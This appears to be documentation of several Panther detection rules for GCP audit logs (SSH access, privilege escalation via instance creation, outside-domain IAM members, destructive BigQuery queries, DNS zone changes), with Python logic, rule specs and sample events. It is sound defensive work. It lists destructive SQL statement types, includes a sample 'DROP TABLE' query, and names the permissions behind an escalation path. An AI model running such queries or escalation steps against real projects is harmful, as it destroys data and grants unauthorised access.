"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@example.com",
"principalSubject": "serviceAccount:user@example.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/test-project/serviceAccounts/user@example.com/keys/key-id"
},
"authorizationInfo": [
{
"granted": true,
"permission": "compute.disks.setIamPolicy",
"resource": "projects/test-project/zones/us-central1-a/disks/disk-1",
"resourceAttributes": {
"name": "projects/test-project/zones/us-central1-a/disks/disk-1",
"service": "compute",
"type": "compute.disks"
}
}
],
"methodName": "v1.compute.disks.setIamPolicy",
"request": {
"@type": "type.googleapis.com/compute.disks.setIamPolicy",
"policy": {
"bindings": [
{
"members": [
"user:anonymized@example.com"
],
"role": "roles/owner"
}
]
}
},
"requestMetadata": {
"callerIP": "192.0.2.1",
"callerSuppliedUserAgent": "google-cloud-sdk",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-10-01T12:34:56.789Z"
}
},
"resourceLocation": {
"currentLocations": [
"us-central1-a"
]
},
"resourceName": "projects/test-project/zones/us-central1-a/disks/disk-1",
"serviceName": "compute.googleapis.com"
},
"receiveTimestamp": "2023-10-01T12:34:57.123Z",
"resource": {
"labels": {
"disk_id": "disk-id-1",
"project_id": "test-project",
"zone": "us-central1-a"
},
"type": "gce_disk"
},
"severity": "NOTICE",
"timestamp": "2023-10-01T12:34:56.789Z"
}
GCP Compute SSH Connection
#Detect any SSH connections to a Compute Instance.
Telemetry coverage
Detection logic
from panther_core import PantherEvent
from panther_gcp_helpers import gcp_alert_context
def rule(event: PantherEvent) -> bool:
service_name = event.deep_get("protoPayload", "serviceName", default="")
method_name = event.deep_get("protoPayload", "methodName", default="")
if service_name == "iap.googleapis.com" and method_name == "AuthorizeUser":
return True
if service_name == "oslogin.googleapis.com":
if any([method_name.endswith(".CheckPolicy"), method_name.endswith(".ContinueSession")]):
return True
if service_name == "compute.googleapis.com":
# Check attempts to add SSH keys to the VM
# setCommonInstanceMetadata is triggered when SSHing from a remote device
# setMetadata is triggered when SSHing from the GCP Console
ssh_keys = {"ssh-keys", "sshKeys"} # Fields indicating the SSH keys were modified
if any(
[
method_name.endswith(".setCommonInstanceMetadata"),
method_name.endswith(".setMetadata"),
]
):
# The metadata delta field could be for the project or the instance, and could indicate
# something was removed or modified. We need to check all possible paths to the field
# we need.
modified_keys = set()
for field1 in ["projectMetadataDelta", "instanceMetadataDelta"]:
for field2 in ["addedMetadataKeys", "modifiedMetadataKeys"]:
modified_keys.update(
set(event.deep_get("protoPayload", "metadata", field1, field2, default=[]))
)
return bool(modified_keys & ssh_keys)
# Check direct connections to the serial console
# The actual service name has the region included, so we just so an easy check here
if service_name.endswith("ssh-serialport.googleapis.com"):
if method_name == "google.ssh-serialport.v1.connect":
return (
"succeeded"
in event.deep_get("protoPayload", "status", "message", default="").lower()
)
return False
def alert_context(event: PantherEvent) -> dict:
instance_info = get_instance_info(event)
context = {
"instance_id": instance_info.get("id", "UNKNOWN INSTANCE ID"),
"instance_name": instance_info.get("name", "UNKNOWN INSTANCE NAME"),
}
return gcp_alert_context(event) | context
def get_instance_info(event: PantherEvent) -> dict:
service_name = event.deep_get("protoPayload", "serviceName", default="")
context = {
"id": "UNKNOWN INSTANCE ID",
"name": "UNKNOWN INSTANCE NAME",
}
match service_name:
case "iap.googleapis.com":
# Name is not included in the event
context |= {
"id": event.deep_get(
"resource", "labels", "instance_id", default="UNKNOWN INSTANCE ID"
)
}
case "oslogin.googleapis.com":
context |= {
"id": event.deep_get("labels", "instance_id", default="UNKNOWN INSTANCE ID"),
"name": event.deep_get(
"protoPayload", "request", "instance", default="UNKNOWN INSTANCE NAME"
),
}
case "compute.googleapis.com":
if event.deep_get("protoPayload", "methodName", default="").endswith(
".setCommonInstanceMetadata"
):
# These events are targeted prokect-wide, so they don't have information about
# specific instances.
pass
else:
context |= {
# Will look like: projects/project-name/zones/zone-name/instances/instance-name
"name": event.deep_get(
"protoPayload", "resourceName", default="/UNKNOWN INSTANCE NAME"
).split("/")[-1],
}
if "serialport" in service_name:
context |= {
"id": event.deep_get(
"resource", "labels", "instance_id", default="UNKNOWN INSTANCE ID"
),
# Will look like:
# projects/projectName/zones/zoneName/instances/instanceName/SerialPort/portNum
"name": event.deep_get(
"protoPayload", "resourceName", default="/UNKNOWN INSTANCE NAME//"
).split("/")[-3],
}
return context
Rule specification
AnalysisType: rule
Filename: gcp_compute_ssh_connection.py
RuleID: "GCP.Compute.SSHConnection"
DisplayName: GCP Compute SSH Connection
Enabled: true
LogTypes:
- GCP.AuditLog
Severity: Info
CreateAlert: true
Description: >
Detect any SSH connections to a Compute Instance.
Reference: >
https://cloud.google.com/compute/docs/connect/ssh-best-practices/auditing
Tags:
- GCP
- GCP.AuditLog
- SSH
- Compute
Status: Experimental
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
all of:
protoPayload.serviceNameisiap.googleapis.comprotoPayload.methodNameisAuthorizeUser
all of:
protoPayload.serviceNameisoslogin.googleapis.comany of:
protoPayload.methodNameends with.CheckPolicyprotoPayload.methodNameends with.ContinueSession
all of:
protoPayload.serviceNameiscompute.googleapis.comany of:
protoPayload.methodNameends with.setCommonInstanceMetadataprotoPayload.methodNameends with.setMetadata
all of:
protoPayload.serviceNameends withssh-serialport.googleapis.comprotoPayload.methodNameisgoogle.ssh-serialport.v1.connectprotoPayload.status.messagecontainssucceeded
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with |
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq |
protoPayload.serviceName | ends_with |
| field:"gcp::service_name" kind:ends_with value:"ssh-serialport.googleapis.com" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq |
protoPayload.status.message | contains |
| field:"protoPayload.status.message" kind:contains value:"succeeded" |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1rk2tche2xh0e",
"logName": "projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"operation": {
"id": "Q444-UYUD-GBRY-QFUF-AS7Q-6A6E",
"producer": "iap.googleapis.com"
},
"p_any_emails": [
"denethor@lotr.com"
],
"p_any_ip_addresses": [
"1.1.1.1"
],
"p_any_usernames": [
"user"
],
"p_event_time": "2025-05-27 16:46:46.485356507",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2025-05-27 19:05:21.311995228",
"p_row_id": "00000000001029dcce464e32dded45ed",
"p_schema_version": 0,
"p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
"p_source_label": "gcp-logsource",
"p_udm": {
"source": {
"address": "1.1.1.1",
"ip": "1.1.1.1"
},
"user": {
"email": "denethor@lotr.com"
}
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "denethor@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iap.tunnelInstances.accessViaIAP",
"resource": "projects/222222222222/iap_tunnel/zones/us-central1-f/instances/1234567890123456789",
"resourceAttributes": {
"name": "projects/222222222222/iap_tunnel/zones/us-central1-f/instances/1234567890123456789",
"service": "iap.googleapis.com",
"type": "iap.googleapis.com/TunnelInstance"
}
}
],
"metadata": {
"device_id": "",
"device_state": "Unknown",
"iap_tcp_session_info": {
"bytes_received": 6922,
"bytes_sent": 2874,
"phase": "SESSION_END"
},
"oauth_client_id": "",
"request_id": "1640143122448486764"
},
"methodName": "AuthorizeUser",
"request": {
"@type": "type.googleapis.com/cloud.security.gatekeeper.AuthorizeUserRequest",
"httpRequest": {
"url": ""
}
},
"requestMetadata": {
"callerIP": "1.1.1.1",
"callerSuppliedUserAgent": "(none supplied)",
"destinationAttributes": {
"ip": "1.2.3.4",
"port": "22"
},
"requestAttributes": {
"auth": {},
"time": "2025-05-27T16:46:46.500915047Z"
}
},
"resourceName": "1234567890123456789",
"serviceName": "iap.googleapis.com",
"status": {}
},
"receiveTimestamp": "2025-05-27 16:46:48.028847516",
"resource": {
"labels": {
"instance_id": "1234567890123456789",
"project_id": "example-project",
"zone": "us-central1-f"
},
"type": "gce_instance"
},
"severity": "INFO",
"timestamp": "2025-05-27 16:46:46.485356507"
}
GCP compute.instances.create Privilege Escalation
#Detects compute.instances.create method for privilege escalation in GCP. This rule identifies when users create compute instances with service accounts that may lead to privilege escalation. Known good service accounts (GKE, Kubernetes, compute automation) are excluded to reduce false positives.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | compute.instances.insert: Insert instance |
Detection logic
from panther_gcp_helpers import gcp_alert_context
REQUIRED_PERMISSIONS = [
"compute.disks.create",
"compute.instances.create",
"compute.instances.setMetadata",
"compute.instances.setServiceAccount",
"compute.subnetworks.use",
"compute.subnetworks.useExternalIp",
]
def rule(event):
if event.deep_get("protoPayload", "response", "error"):
return False
method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
if not method.endswith("compute.instances.insert"):
return False
# Skip allowlisted actors
principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
if principal.endswith("@cloudservices.gserviceaccount.com"):
return False
granted_permissions = {}
for auth in event.deep_walk("protoPayload", "authorizationInfo") or []:
granted_permissions[auth.get("permission")] = auth.get("granted")
for permission in REQUIRED_PERMISSIONS:
if not granted_permissions.get(permission):
return False
return True
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
if not service_accounts:
service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
else:
service_account_emails = [service_acc["email"] for service_acc in service_accounts]
project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"[GCP]: [{actor}] created a new Compute Engine instance with [{service_account_emails}] "
f"Service Account on project [{project}]"
)
def alert_context(event):
context = gcp_alert_context(event)
service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
if not service_accounts:
service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
else:
service_account_emails = [service_acc["email"] for service_acc in service_accounts]
context["serviceAccount"] = service_account_emails
return context
Rule specification
AnalysisType: rule
LogTypes:
- GCP.AuditLog
Description: >
Detects compute.instances.create method for privilege escalation in GCP. This rule identifies when users
create compute instances with service accounts that may lead to privilege escalation. Known good service accounts
(GKE, Kubernetes, compute automation) are excluded to reduce false positives.
DisplayName: "GCP compute.instances.create Privilege Escalation"
RuleID: "GCP.compute.instances.create.Privilege.Escalation"
Enabled: true
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook: |
1. Validate whether this compute instance creation with service account was authorized.
2. Check if the service account attached has excessive privileges.
3. Verify if the user creating the instance has a legitimate need for the service account permissions.
4. If unauthorized, revoke the instance access and investigate for compromise.
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
Filename: gcp_computeinstances_create_privilege_escalation.py
DedupPeriodMinutes: 1440
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.erroris emptyprotoPayload.methodNameends withcompute.instances.insertprotoPayload.authenticationInfo.principalEmaildoes not end with@cloudservices.gserviceaccount.com
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | ends_with | @cloudservices.gserviceaccount.com | excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@cloudservices.gserviceaccount.com" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"compute.instances.insert" |
protoPayload.response.error | is_null | field:"protoPayload.response.error" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
1. Validate whether this compute instance creation with service account was authorized.
2. Check if the service account attached has excessive privileges.
3. Verify if the user creating the instance has a legitimate need for the service account permissions.
4. If unauthorized, revoke the instance access and investigate for compromise.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@company.com",
"principalSubject": "user:some.user@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "compute.instances.create",
"resource": "projects/some-project/zones/us-central1-f/instances/abc",
"resourceAttributes": {
"name": "projects/some-project/zones/us-central1-f/instances/abc",
"service": "compute",
"type": "compute.instances"
}
},
{
"granted": true,
"permission": "compute.disks.create",
"resource": "projects/some-project/zones/us-central1-f/disks/abc",
"resourceAttributes": {
"name": "projects/some-project/zones/us-central1-f/disks/abc",
"service": "compute",
"type": "compute.disks"
}
},
{
"granted": true,
"permission": "compute.subnetworks.use",
"resource": "projects/some-project/regions/us-central1/subnetworks/default",
"resourceAttributes": {
"name": "projects/some-project/regions/us-central1/subnetworks/default",
"service": "compute",
"type": "compute.subnetworks"
}
},
{
"granted": true,
"permission": "compute.subnetworks.useExternalIp",
"resource": "projects/some-project/regions/us-central1/subnetworks/default",
"resourceAttributes": {
"name": "projects/some-project/regions/us-central1/subnetworks/default",
"service": "compute",
"type": "compute.subnetworks"
}
},
{
"granted": true,
"permission": "compute.instances.setMetadata",
"resource": "projects/some-project/zones/us-central1-f/instances/abc",
"resourceAttributes": {
"name": "projects/some-project/zones/us-central1-f/instances/abc",
"service": "compute",
"type": "compute.instances"
}
},
{
"granted": true,
"permission": "compute.instances.setServiceAccount",
"resource": "projects/some-project/zones/us-central1-f/instances/abc",
"resourceAttributes": {
"name": "projects/some-project/zones/us-central1-f/instances/abc",
"service": "compute",
"type": "compute.instances"
}
}
],
"methodName": "v1.compute.instances.insert",
"request": {
"@type": "type.googleapis.com/compute.instances.insert",
"disks": "...",
"machineType": "...",
"name": "...",
"networkInterfaces": "...",
"serviceAccounts": [
{
"email": "abcmail@some-project.iam.gserviceaccount.com",
"scopes": [
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/iam"
]
}
]
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "(gzip),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-01-30T12:52:36.003867Z"
}
},
"resourceLocation": "...",
"resourceName": "projects/some-project/zones/us-central1-f/instances/abc",
"response": {
"@type": "type.googleapis.com/operation",
"id": "8758546889396539388",
"insertTime": "2024-01-30T04:52:35.886-08:00",
"name": "operation-1706619154623-610293c7a6a25-934f1c35-1efebb12",
"operationType": "insert",
"progress": "0",
"selfLink": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/operations/operation-1706619154623-610293c7a6a25-934f1c35-1efebb12",
"selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/operations/8758546889396539388",
"startTime": "2024-01-30T04:52:35.887-08:00",
"status": "RUNNING",
"targetId": "1454427709413609468",
"targetLink": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f/instances/abc",
"user": "some.user@company.com",
"zone": "https://www.googleapis.com/compute/v1/projects/some-project/zones/us-central1-f"
},
"serviceName": "compute.googleapis.com"
},
"receiveTimestamp": "2024-01-30 12:52:36.642422049",
"resource": {
"labels": {
"instance_id": "1454427709413609468",
"project_id": "some-project",
"zone": "us-central1-f"
},
"type": "gce_instance"
},
"severity": "NOTICE",
"timestamp": "2024-01-30 12:52:34.676384000"
}
GCP Corporate Email Not Used
#Unexpected domain is being used instead of a corporate email
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
from fnmatch import fnmatch
from panther_base_helpers import deep_get
# These patterns indicate members which might be added by default by some GCP services
ACCEPTED_MEMBER_PATTERNS = [
"serviceAccount:*@*.gserviceaccount.com",
"serviceAccount:*.svc.id.goog[*",
"principalSet://iam.googleapis.com/projects/*/workloadIdentityPools/*",
]
def rule(event):
if event.deep_get("protoPayload", "methodName") != "SetIamPolicy":
return False
service_data = event.deep_get("protoPayload", "serviceData")
if not service_data:
return False
authenticated = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
expected_domain = authenticated.split("@")[-1]
binding_deltas = deep_get(service_data, "policyDelta", "bindingDeltas")
if not binding_deltas:
return False
for delta in binding_deltas:
if delta.get("action") != "ADD":
continue
member = delta.get("member", "")
if any(fnmatch(member, pattern) for pattern in ACCEPTED_MEMBER_PATTERNS):
continue # Skip this member, check others
if member.endswith(f"@{expected_domain}"):
continue # Skip this member, check others
return True # Found a suspicious member - alert
return False # No suspicious members found
def title(event):
return (
f"A GCP IAM account has been created with an unexpected email domain in "
f"{event.deep_get('resource', 'labels', 'project_id', default='<UNKNOWN_PROJECT>')}"
)
Rule specification
AnalysisType: rule
Filename: gcp_iam_corp_email.py
RuleID: "GCP.IAM.CorporateEmail"
DisplayName: "GCP Corporate Email Not Used"
Enabled: true
DedupPeriodMinutes: 720 # 12 hours
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Identity & Access Management
- Persistence:Create Account
Reports:
MITRE ATT&CK:
- TA0003:T1136
CIS:
- 1.1
Severity: Low
Description: Unexpected domain is being used instead of a corporate email
Runbook: Remove the user
Reference: https://cloud.google.com/iam/docs/service-account-overview
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisSetIamPolicyprotoPayload.serviceDatais presentprotoPayload.serviceData.policyDelta.bindingDeltasis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project_id | resource.labels.project_id |
Response runbook
Remove the user
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "mrbji0dal80",
"logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "test@runpanther.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "resourcemanager.projects.setIamPolicy",
"resource": "projects/western-verve-123456",
"resourceAttributes": {}
},
{
"granted": true,
"permission": "resourcemanager.projects.setIamPolicy",
"resource": "projects/western-verve-123456",
"resourceAttributes": {}
}
],
"methodName": "SetIamPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"bindings": [
{
"members": [
"user:user-two@gmail.com"
],
"role": "roles/appengine.serviceAdmin"
},
{
"members": [
"serviceAccount:service-951849100836@compute-system.iam.gserviceaccount.com"
],
"role": "roles/compute.serviceAgent"
},
{
"members": [
"serviceAccount:951849100836-compute@developer.gserviceaccount.com",
"serviceAccount:951849100836@cloudservices.gserviceaccount.com"
],
"role": "roles/editor"
},
{
"members": [
"user:test@runpanther.com"
],
"role": "roles/owner"
},
{
"members": [
"user:user-two@gmail.com"
],
"role": "roles/pubsub.admin"
},
{
"members": [
"serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
],
"role": "roles/pubsub.subscriber"
},
{
"members": [
"serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
],
"role": "roles/pubsub.viewer"
},
{
"members": [
"user:test@runpanther.com"
],
"role": "roles/resourcemanager.organizationAdmin"
},
{
"members": [
"user:username@gmail.com"
],
"role": "roles/viewer"
}
],
"etag": "BwWk8zJlg2o="
},
"resource": "western-verve-123456"
},
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "projects/western-verve-123456",
"response": {
"@type": "type.googleapis.com/google.iam.v1.Policy",
"bindings": [
{
"members": [
"user:user-two@gmail.com"
],
"role": "roles/appengine.serviceAdmin"
},
{
"members": [
"serviceAccount:service-951849100836@compute-system.iam.gserviceaccount.com"
],
"role": "roles/compute.serviceAgent"
},
{
"members": [
"serviceAccount:951849100836-compute@developer.gserviceaccount.com",
"serviceAccount:951849100836@cloudservices.gserviceaccount.com"
],
"role": "roles/editor"
},
{
"members": [
"user:test@runpanther.com"
],
"role": "roles/owner"
},
{
"members": [
"user:user-two@gmail.com"
],
"role": "roles/pubsub.admin"
},
{
"members": [
"serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
],
"role": "roles/pubsub.subscriber"
},
{
"members": [
"serviceAccount:pubsub-reader@western-verve-123456.iam.gserviceaccount.com"
],
"role": "roles/pubsub.viewer"
},
{
"members": [
"user:test@runpanther.com"
],
"role": "roles/resourcemanager.organizationAdmin"
},
{
"members": [
"user:username@gmail.com"
],
"role": "roles/viewer"
}
],
"etag": "BwWlp7rH6tY="
},
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"member": "user:username@gmail.com",
"role": "roles/viewer"
}
]
}
},
"serviceName": "cloudresourcemanager.googleapis.com",
"status": {}
},
"receiveTimestamp": "2020-05-15T03:51:35.977314225Z",
"resource": {
"labels": {
"project_id": "western-verve-123456"
},
"type": "project"
},
"severity": "NOTICE",
"timestamp": "2020-05-15T03:51:35.019Z"
}
GCP Destructive Queries
#Detect any destructive BigQuery queries or jobs such as update, delete, drop, alter or truncate.
Detection logic
DESTRUCTIVE_STATEMENTS = ["UPDATE", "DELETE", "DROP_TABLE", "ALTER_TABLE", "TRUNCATE_TABLE"]
def rule(event):
if all(
[
event.deep_get("resource", "type", default="<RESOURCE_NOT_FOUND>").startswith(
"bigquery"
),
event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
== "QUERY",
event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"statementType",
default="<STATEMENT_NOT_FOUND>",
)
in DESTRUCTIVE_STATEMENTS,
]
):
return True
if event.deep_get("protoPayload", "metadata", "tableDeletion"):
return True
if event.deep_get("protoPayload", "metadata", "datasetDeletion"):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
statement = event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"statementType",
default="<STATEMENT_NOT_FOUND>",
)
if (
event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
== "QUERY"
):
return f"GCP: [{actor}] performed a destructive BigQuery [{statement}] query"
if event.deep_get("protoPayload", "metadata", "tableDeletion"):
return f"GCP: [{actor}] deleted a table in BigQuery"
if event.deep_get("protoPayload", "metadata", "datasetDeletion"):
return f"GCP: [{actor}] deleted a dataset in BigQuery"
# Default return value
return f"GCP: [{actor}] performed a destructive BigQuery query"
def severity(event):
statement = event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"statementType",
default="<STATEMENT_NOT_FOUND>",
)
if statement in ("UPDATE", "DELETE"):
return "INFO"
return "DEFAULT"
def alert_context(event):
return {
"query": event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"query",
default="<QUERY_NOT_FOUND>",
),
"actor": event.deep_get(
"protoPayload",
"authenticationInfo",
"principalEmail",
default="<ACTOR_NOT_FOUND>",
),
"statement": event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"statementType",
default="<STATEMENT_NOT_FOUND>",
),
"table": event.deep_get(
"protoPayload",
"metadata",
"jobChange",
"job",
"jobConfig",
"queryConfig",
"destinationTable",
)
or event.deep_get("protoPayload", "metadata", "resourceName", default="<TABLE_NOT_FOUND>"),
}
Rule specification
AnalysisType: rule
Description: Detect any destructive BigQuery queries or jobs such as update, delete, drop, alter or truncate.
DisplayName: "GCP Destructive Queries"
Enabled: true
Filename: gcp_destructive_queries.py
Reference: https://cloud.google.com/bigquery/docs/managing-tables
Severity: Info
SummaryAttributes:
- p_alert_context.table
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.Destructive.Queries"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
all of:
resource.typestarts withbigqueryprotoPayload.metadata.jobChange.job.jobConfig.typeisQUERYprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementTypeis one ofUPDATE,DELETE,DROP_TABLE,ALTER_TABLE,TRUNCATE_TABLE
protoPayload.metadata.tableDeletionis presentprotoPayload.metadata.datasetDeletionis present
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
query | protoPayload.metadata.jobChange.job.jobConfig.queryConfig.query |
actor | protoPayload.authenticationInfo.principalEmail |
statement | protoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementType |
table | protoPayload.metadata.jobChange.job.jobConfig.queryConfig.destinationTable |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "abcdefghijklmn",
"logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Fdata_access",
"operation": {
"id": "1234567890123-gcp-project1:abcdefghijklmnopqrstuvwz",
"last": true,
"producer": "bigquery.googleapis.com"
},
"p_any_emails": [
"user@company.io"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-28 18:37:06.079",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-28 18:38:14.478",
"p_row_id": "06bf03d9d5dfbadba981899e1787bf05",
"p_schema_version": 0,
"p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
"p_source_label": "gcp-logsource",
"protopayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "bigquery.jobs.create",
"resource": "projects/gcp-project1"
}
],
"metadata": {
"@type": "type.googleapis.com/google.cloud.audit.BigQueryAuditMetadata",
"jobChange": {
"after": "DONE",
"job": {
"jobConfig": {
"queryConfig": {
"createDisposition": "CREATE_IF_NEEDED",
"destinationTable": "projects/gcp-project1/datasets/test1/tables/newtable",
"priority": "QUERY_INTERACTIVE",
"query": "DROP TABLE test1.newtable",
"statementType": "DROP_TABLE",
"writeDisposition": "WRITE_EMPTY"
},
"type": "QUERY"
},
"jobName": "projects/gcp-project1/jobs/abcdefghijklmnopqrstuvwz",
"jobStats": {
"createTime": "2023-03-28T18:37:05.842Z",
"endTime": "2023-03-28T18:37:06.073Z",
"queryStats": {},
"startTime": "2023-03-28T18:37:05.934Z"
},
"jobStatus": {
"jobState": "DONE"
}
}
}
},
"methodName": "google.cloud.bigquery.v2.JobService.InsertJob",
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
},
"resourceName": "projects/gcp-project1/jobs/abcdefghijklmnopqrstuvwz",
"serviceName": "bigquery.googleapis.com",
"status": {}
},
"receivetimestamp": "2023-03-28 18:37:06.745",
"resource": {
"labels": {
"location": "US",
"project_id": "gcp-project1"
},
"type": "bigquery_project"
},
"severity": "INFO",
"timestamp": "2023-03-28 18:37:06.079"
}
GCP DNS Zone Modified or Deleted
#Detection for GCP DNS zones that are deleted, patched, or updated.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
methods = (
"dns.changes.create",
"dns.managedZones.delete",
"dns.managedZones.patch",
"dns.managedZones.update",
)
return event.deep_get("protoPayload", "methodName", default="") in methods
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
return f"[GCP]: [{actor}] modified managed DNS zone [{resource}]"
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
Description: Detection for GCP DNS zones that are deleted, patched, or updated.
DisplayName: "GCP DNS Zone Modified or Deleted"
Enabled: true
Filename: gcp_dns_zone_modified_or_deleted.py
Runbook: Verify that this modification or deletion was expected. These operations are high-impact events and can result in downtimes or total outages.
Reference: https://cloud.google.com/dns/docs/zones
Severity: Low
DedupPeriodMinutes: 90
LogTypes:
- GCP.AuditLog
